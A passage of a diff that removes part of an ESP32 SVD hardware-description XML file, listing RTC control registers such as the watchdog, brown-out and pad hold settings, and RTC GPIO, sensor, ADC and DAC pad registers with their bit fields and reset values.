-              <bitOffset>25</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_STG0</name>
-              <description>1: interrupt stage en  2: CPU reset stage en  3: system reset stage en  4: RTC reset stage en</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_EN</name>
-              <description>enable RTC WDT</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG1</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0001F400</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG0_HOLD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG2</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00013880</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG1_HOLD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG3</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000FFF</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG2_HOLD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG4</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000FFF</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG3_HOLD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTFEED</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WDT_FEED</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTWPROTECT</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x50D83AA1</resetValue>
-          <fields>
-            <field>
-              <name>WDT_WKEY</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TEST_MUX</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENT_RTC</name>
-              <description>ENT_RTC</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEST_RTC</name>
-              <description>DTEST_RTC</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SW_CPU_STALL</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SW_STALL_APPCPU_C1</name>
-              <description>{reg_sw_stall_appcpu_c1[5:0]   reg_sw_stall_appcpu_c0[1:0]} == 0x86 will stall APP CPU</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_STALL_PROCPU_C1</name>
-              <description>{reg_sw_stall_procpu_c1[5:0]   reg_sw_stall_procpu_c0[1:0]} == 0x86 will stall PRO CPU</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE4</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH4</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE5</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH5</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE6</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH6</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE7</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH7</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LOW_POWER_ST</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOW_POWER_DIAG0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RDY_FOR_WAKEUP</name>
-              <description>1 if RTC controller is ready to execute WAKE instruction, 0 otherwise </description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DIAG1</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOW_POWER_DIAG1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOLD_FORCE</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ADC1_HOLD_FORCE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_HOLD_FORCE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_HOLD_FORCE</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_HOLD_FORCE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE1_HOLD_FORCE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE2_HOLD_FORCE</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE3_HOLD_FORCE</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE4_HOLD_FORCE</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD0_HOLD_FORCE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD1_HOLD_FORCE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD2_HOLD_FORCE</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD3_HOLD_FORCE</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD4_HOLD_FORCE</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD5_HOLD_FORCE</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD6_HOLD_FORCE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD7_HOLD_FORCE</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_HOLD_FORCE</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_HOLD_FORCE</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT_WAKEUP1</name>
-          <addressOffset>0xCC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEL</name>
-              <description>Bitmap to select RTC pads for ext wakeup1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STATUS_CLR</name>
-              <description>clear ext wakeup1 status</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT_WAKEUP1_STATUS</name>
-          <addressOffset>0xD0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>EXT_WAKEUP1_STATUS</name>
-              <description>ext wakeup1 status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BROWN_OUT</name>
-          <addressOffset>0xD4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x13FF0000</resetValue>
-          <fields>
-            <field>
-              <name>RTC_MEM_PID_CONF</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTC_MEM_CRC_START</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTC_MEM_CRC_ADDR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLOSE_FLASH_ENA</name>
-              <description>enable close flash when brown out happens</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PD_RF_ENA</name>
-              <description>enable power down RF when brown out happens</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RST_WAIT</name>
-              <description>brown out reset wait cycles</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTC_MEM_CRC_LEN</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RST_ENA</name>
-              <description>enable brown out reset</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DBROWN_OUT_THRES</name>
-              <description>brown out threshold</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ENA</name>
-              <description>enable brown out</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DET</name>
-              <description>brown out detect</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RTC_MEM_CRC_FINISH</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0x13C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01604280</resetValue>
-          <fields>
-            <field>
-              <name>CNTL_DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>RTCIO</name>
-      <description>Peripheral RTCIO</description>
-      <groupName>RTC_GPIO</groupName>
-      <baseAddress>0x3FF48400</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xCC</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>OUT</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA</name>
-              <description>GPIO0~17 output value</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_W1TS</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_DATA_W1TS</name>
-              <description>GPIO0~17 output value write 1 to set</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_W1TC</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_DATA_W1TC</name>
-              <description>GPIO0~17 output value write 1 to clear</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE</name>
-              <description>GPIO0~17 output enable</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE_W1TS</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE_W1TS</name>
-              <description>GPIO0~17 output enable write 1 to set</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE_W1TC</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE_W1TC</name>
-              <description>GPIO0~17 output enable write 1 to clear</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INT</name>
-              <description>GPIO0~17 interrupt status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS_W1TS</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS_INT_W1TS</name>
-              <description>GPIO0~17 interrupt status write 1 to set</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS_W1TC</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS_INT_W1TC</name>
-              <description>GPIO0~17 interrupt status write 1 to clear</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IN</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>NEXT</name>
-              <description>GPIO0~17 input value</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>18</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <dimIndex>0-17</dimIndex>
-          <name>PIN%s</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PAD_DRIVER</name>
-              <description>if set to 0: normal output  if set to 1: open drain</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INT_TYPE</name>
-              <description>if set to 0: GPIO interrupt disable  if set to 1: rising edge trigger  if set to 2: falling edge trigger  if set to 3: any edge trigger  if set to 4: low level trigger  if set to 5: high level trigger</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WAKEUP_ENABLE</name>
-              <description>GPIO wake up enable  only available in light sleep</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RTC_DEBUG_SEL</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DEBUG_SEL0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEBUG_SEL1</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEBUG_SEL2</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEBUG_SEL3</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEBUG_SEL4</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEBUG_12M_NO_GATING</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DIG_PAD_HOLD</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DIG_PAD_HOLD</name>
-              <description>select the digital pad hold value.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HALL_SENS</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HALL_PHASE</name>
-              <description>Reverse phase of hall sensor</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_HALL</name>
-              <description>Power on hall sensor and connect to VP and VN</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SENSOR_PADS</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SENSE4_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE4_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE4_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE4_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE3_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE3_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE3_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE3_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE2_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE2_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE2_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE2_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE1_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE1_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE1_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE1_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE4_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE3_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE2_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE1_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE4_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE3_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE2_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SENSE1_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ADC_PAD</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ADC2_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PAD_DAC1</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x80000000</resetValue>
-          <fields>
-            <field>
-              <name>PDAC1_DAC_XPD_FORCE</name>
-              <description>Power on DAC1. Usually  we need to tristate PDAC1 if we power on the DAC  i.e. IE=0  OE=0  RDE=0  RUE=0</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_XPD_DAC</name>
-              <description>Power on DAC1. Usually  we need to tristate PDAC1 if we power on the DAC  i.e. IE=0  OE=0  RDE=0  RUE=0</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_DAC</name>
-              <description>PAD DAC1 control code.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
